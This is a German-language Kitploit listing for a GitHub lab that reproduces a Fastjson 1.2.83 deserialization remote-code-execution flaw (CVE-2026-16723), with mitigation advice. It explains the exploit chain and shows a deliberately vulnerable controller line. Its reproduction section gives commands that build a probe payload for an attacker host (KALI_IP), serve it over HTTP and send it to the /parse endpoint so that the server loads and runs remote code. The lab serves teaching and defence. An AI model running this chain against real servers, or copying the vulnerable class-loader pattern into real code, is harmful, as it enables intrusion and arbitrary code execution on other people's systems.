Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723) | Kitploit
Tools/GitHubGitHub/why-success/fastjson-rce-lab
Vulnerability AnalysisWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)

Repository anzeigen
3vor 23 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Fastjson 1.2.83 RCE Lab-Umgebung (CVE-2026-16723)

Haftungsausschluss: Dieses Labor dient ausschließlich der Sicherheitsforschung, Lehrdemonstration und dem Aufbau von Verteidigungsmaßnahmen in autorisierten Umgebungen. Tests an nicht autorisierten Zielen können rechtswidrig sein. Die Folgen der Nutzung trägt der Nutzer selbst.

Schwachstellenübersicht

EigenschaftInhalt
CVECVE-2026-16723 (CVSS 9.0)
Betroffene VersionenFastjson 1.2.68 ~ 1.2.83
SchwachstellentypRemote Code Execution (RCE) per Deserialisierung
KernmerkmalGadget-free (keine Abhängigkeit von Drittanbieter-Klassenbibliotheken)
Bedingungen für vollständige RCEJDK 8 + Spring Boot Fat-JAR + SafeMode deaktiviert

Beschreibung der Laborumgebung

  • Fastjson 1.2.83

    • SafeMode deaktiviert (Standardzustand)
  • Als Spring Boot fat-JAR verpackt (enthält LaunchedURLClassLoader, eine für die Exploit-Kette erforderliche Komponente)

  • Entscheidende Zeile eingerichtet: Der ParseController wechselt vor dem Aufruf von JSON.parse() den Thread-ClassLoader zu LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())). Dies ist die notwendige Voraussetzung dafür, dass der @JSONType-Erkennungspfad Klassen remote laden kann.

  • Stellt die beiden Parse-Endpunkte /parse (JSON.parse) und /parseObject (JSON.parseObject) bereit

Systemanforderungen

  • JDK 8 (für vollständige RCE ist JDK 8 erforderlich; mit JDK 9+ ist nur SSRF möglich, keine vollständige RCE)
  • Betriebssystem: Windows / Linux / UOS / macOS
  • Arbeitsspeicher: mindestens 256 MB frei

Build

Fat-JAR aus dem Quellcode bauen (erforderlich: JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

Das Build-Artefakt liegt unter target/fastjson-rce-lab.jar.

Falls kein Maven installiert ist, kann auch das im Projekt enthaltene Maven Wrapper verwendet werden (mvnw muss zuvor konfiguriert werden).

Schnellstart

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

Hinweis zu --server.port=18080: In der Umgebung können Umgebungsvariablen wie SERVER__PORT die Port-Konfiguration in application.properties überschreiben. Durch die erzwungene Angabe über den Kommandozeilenparameter wird sichergestellt, dass der Port korrekt ist (Kommandozeilenparameter haben höchste Priorität).

Hinweis zu den JVM-Parametern: -Xmx256m -XX:+UseSerialGC dienen dazu, einen stabilen Betrieb auf VMs mit wenig Arbeitsspeicher (z. B. Kali mit 2–4 GB) zu gewährleisten und OOM während der JVM-Initialisierung zu vermeiden. Bei ausreichend Arbeitsspeicher können sie entfernt werden.

Start-Verifizierung

root@kitploit:~
curl http://127.0.0.1:18080/status

Erwartete Ausgabe:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false und vulnerable: true bedeuten, dass die Umgebung angreifbar ist.

Endpunkt-Beschreibung

Funktionsweise der Schwachstelle

root@kitploit:~
1. Der Angreifer sendet ein speziell präpariertes JSON (@type verweist auf einen jar:http-Ressourcenpfad)
2. checkAutoType() von Fastjson wandelt typeName in einen Ressourcenpfad um ("typeName.replace('.', '/') + .class") und führt eine Erkundung durch
3. getResourceAsStream() löst LaunchedURLClassLoader aus → es wird eine HTTP-Anfrage gesendet, um das entfernte JAR abzurufen
4. ASM scannt den Bytecode und findet die @JSONType-Annotation → wird als Vertrauenssignal gewertet
5. Die Prüfung auf gefährliche Basisklassen wird übersprungen → loadClass() → defineClass()
6. Der statische Initialisierungsblock <clinit> wird ausgelöst → RCE

Entscheidender Code in der Laborumgebung

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Ohne diese Zeile setContextClassLoader verwendet Fastjson den systemweiten Standard-AppClassLoader und kann keine entfernten Klassen über das jar:http://-Protokoll laden.

Exploit-Reproduktion

Schritt 1: PoC-Tool besorgen

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Schritt 2: GenProbe.java anpassen (entscheidend)

Das mitgelieferte poc/GenProbe.java des Repositories hatte zwei Kompatibilitätsprobleme, die behoben wurden:

  1. Hartkodiertes /bin/bash -c → geändert in eine universelle Runtime.exec(String)-Variante (funktioniert unter Windows und Linux)
  2. Plattformübergreifendes Befehlsformat: für Windows-Labore "cmd /c xxx", für Linux-Labore direkt "touch /tmp/pwned" oder "bash -c xxx"

Schritt 3: probe.jar erzeugen und hosten

Der vollständige Angriffsablauf findet sich in 靶场测试完整指南.md (im selben Verzeichnis). Enthalten sind:

  • Der vollständige Angriffsablauf in sieben Schritten
  • Eine Schnellreferenztabelle für Befehle auf den verschiedenen Plattformen
  • 6 häufige Fehlermeldungen und deren Behebung

Schnelle Verifizierung (Beispiel: Windows-Lab)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Behebungsmaßnahmen

Sofortige Behebung: SafeMode aktivieren

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Langfristige Lösung: Migration auf Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 ist von dieser Schwachstelle nicht betroffen.

Weitere Maßnahmen

  • Die Build-Variante com.alibaba:fastjson:1.2.83_noneautotype verwenden
  • Ausgehenden HTTP-Datenverkehr des Anwendungsservers blockieren
  • Alle Instanzen mit Fastjson-1.x-Abhängigkeiten überprüfen

Technische Referenzen

  • Offenlegung durch Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
  • PoC-Projekt: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Alibaba-Sicherheitshinweis (2026-07-21)
  • Sicherheitswarnung von Tencent Cloud (2026-07-20)
Tool herunterladen
MethodePfadBeschreibung
GET/Startseite der Lab-Umgebung (HTML)
GET/statusFastjson-Konfigurationsstatus (JSON)
POST/parseJSON.parse(body) — Hauptendpunkt zur Auslösung der Schwachstelle
POST/parseObjectJSON.parseObject(body) — alternativer Auslösungs-Endpunkt